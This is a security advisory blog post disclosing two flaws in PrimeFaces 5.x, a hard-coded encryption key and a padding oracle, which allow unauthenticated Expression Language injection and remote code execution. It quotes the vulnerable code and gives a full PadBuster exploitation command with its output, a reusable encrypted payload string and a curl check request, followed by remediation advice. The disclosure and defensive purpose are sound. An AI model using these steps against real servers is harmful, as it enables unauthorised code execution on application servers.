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RCE in Oracle NetBeans Opensource Plugins PrimeFaces 5.x Expression Language Injection

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RCE in Oracle NetBeans Opensource Plugins PrimeFaces 5.x Expression Language Injection

Par Minded Security Blog
Le [2016-02-15] à 18:42:05



Présentation : PrimeFaces is a open source User Interface UI component library for JavaServer Faces JSF based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world. Disclosure Timeline PrimeFaces team has been contacted on 20 06 2015 7 months ago providing the following details. Unfortunately the vulnerability has still not been fixed. PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users. PrimeOracle and PrimeSecret Vulnerability Detail The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version. The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink EL expression evaluation. In this post we shared a generic payload to execute a remote interactive command shell via EL . These two Crypto issues have been called PrimeSecret and PrimeOracle . Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication. 1 PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as pfdrid . 2 PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as pfdrid . The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline org primefaces application resource StreamedContentHandler.java .. String dynamicContentId String params.get Constants.DYNAMIC_CONTENT_PARAM ... String dynamicContentEL strEn.decrypt dynamicContentId ... ValueExpression ve context.getApplication .getExpressionFactory .createValueExpression context.getELContext , dynamicContentEL, StreametreamedContent.class streamedContent StreamedContent ve.getValue eLContext In 2011 a user already reported to the dev team the dangerous impacts of EL injection http forum.primefaces.org viewtopic.php f 3 t 10899 StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited. In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability. PrimeSecret Vulnerable Code that leads to PrimeSecret file org primefaces config ConfigContainer.java By default encryption Key is the hardcoded string primefaces secretKey value null primefaces value PrimeOracle Vulnerable Code that leads to PrimeOracle file org primefaces util StringEncrypter.java 8-bytes Salt - Static IV byte salt byte 0xA9, byte 0x9B, byte 0xC8, byte 0x32, byte 0x56, byte 0x34, byte 0xE3, byte 0x03 ... Padding Oracle vulnerability since the DES cipher is CBC based and process encrypted text without verification e.g. HMAC KeySpec keySpec new PBEKeySpec passPhrase.toCharArray , salt, iterationCount SecretKey key SecretKeyFactory.getInstance PBEWithMD5AndDES .generateSecret keySpec Exploitation is easy with PadBuster In the following example we are going to show the exploitation of PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password. That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter. First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool. In this case the payload we have chosen is Set a response Header with a value of primesecretchk Request Parameter facesContext.getExternalContext .setResponseHeader primesecretchk ,request.getParameter primesecretchk Note Any EL can be executed payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise. Then just launch Padbuster with the following command . padBuster.pl http localhost 8085 showcase-5.1 javax.faces.resource dynamiccontent.properties.xhtml pfdrt sc ln primefaces pfdrid C24UkygWm3HMmnSxmDwoxwpourcents3Dpourcents3D C24UkygWm3HMmnSxmDwoxwpourcents3Dpourcents3D 8 -encoding 0 -plaintext ' facesContext.getExternalContext .setResponseHeader primesecretchk ,request.getParameter primesecretchk ' ------------------------------------------- PadBuster - v0.3.3 Brian Holyfield - Gotham Digital Science labs gdssecurity.com ------------------------------------------- INFO The original request returned the following Status 500 Location N A Content Length 65766 INFO Starting PadBuster Encrypt Mode Number of Blocks 14 INFO No error string was provided...starting response analysis Response Analysis Complete The following response signatures were returned ------------------------------------------------------- ID Freq Status Length Location ------------------------------------------------------- 1 1 500 65715 N A 2 255 200 0 N A ------------------------------------------------------- Enter an ID that matches the error condition NOTE The ID marked with is recommended 2 ------------------------------------------------------- Finished Encrypted value is wQR45Hj4OwBRgKBtl5vpourcents2FG4elO1lYWlpourcents2BZfvjy1R79FgJpourcents2F3Hpourcents2BKYopezNVswr9KFxpourcents2B8XaKwW6Tq3bG8OxNcX3CjCO5pourcents2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA ------------------------------------------------------- To check if the application is vulnerable n0def n0def-U36SG Desktop PadBuster-master enc wQR45Hj4OwBRgKBtl5vpourcents2FG4elO1lYWlpourcents2BZfvjy1R79FgJpourcents2F3Hpourcents2BKYopezNVswr9KFxpourcents2B8XaKwW6Tq3bG8OxNcX3CjCO5pourcents2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA chk 123445456 curl -X POST http localhost 8085 showcase-5.1 javax.faces.resource dynamiccontent.properties.xhtml -ki -kvvv -d pfdrt sc ln primefaces pfdrid enc primesecretchk chk grep chk primesecretchk 123445456 Note the previous request will work against all systems vulnerable to PrimeSecret Since has been generated on a host with primefaces secretKey The application is vulnerable because of the new added response header primesecretchk 123445456 Remediation Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java. Alternatively by filtering incoming requests with pfdrid parameter value longer than 16bytes and Base64 encoded and pfdrt sc is possible to mitigate the attack pfdrt sc calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload. Isn't enough to change the default secretKey Unfortunately not changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.

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